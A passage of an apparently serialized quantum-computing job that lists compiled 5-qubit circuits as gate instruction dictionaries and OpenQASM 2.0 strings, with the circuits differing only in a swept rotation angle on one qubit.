q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.0,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1189', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.100000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1191', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.200000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.30000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1193', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.300000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], 